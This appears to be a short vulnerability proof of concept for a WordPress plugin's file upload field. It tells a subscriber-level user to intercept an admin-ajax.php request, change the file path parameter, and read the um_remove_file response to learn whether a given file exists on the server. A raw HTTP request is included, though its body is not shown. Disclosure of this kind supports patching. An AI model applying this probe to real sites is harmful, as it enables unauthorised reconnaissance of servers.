As a subscriber, submit a dummy image on a page/post with a File Upload field is embed, intercept the request and change the file path parameter

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 158
Connection: close
Cookie: [subscriber+]


If the response contains the um_remove_file, then the file exist on the server, otherwise it does not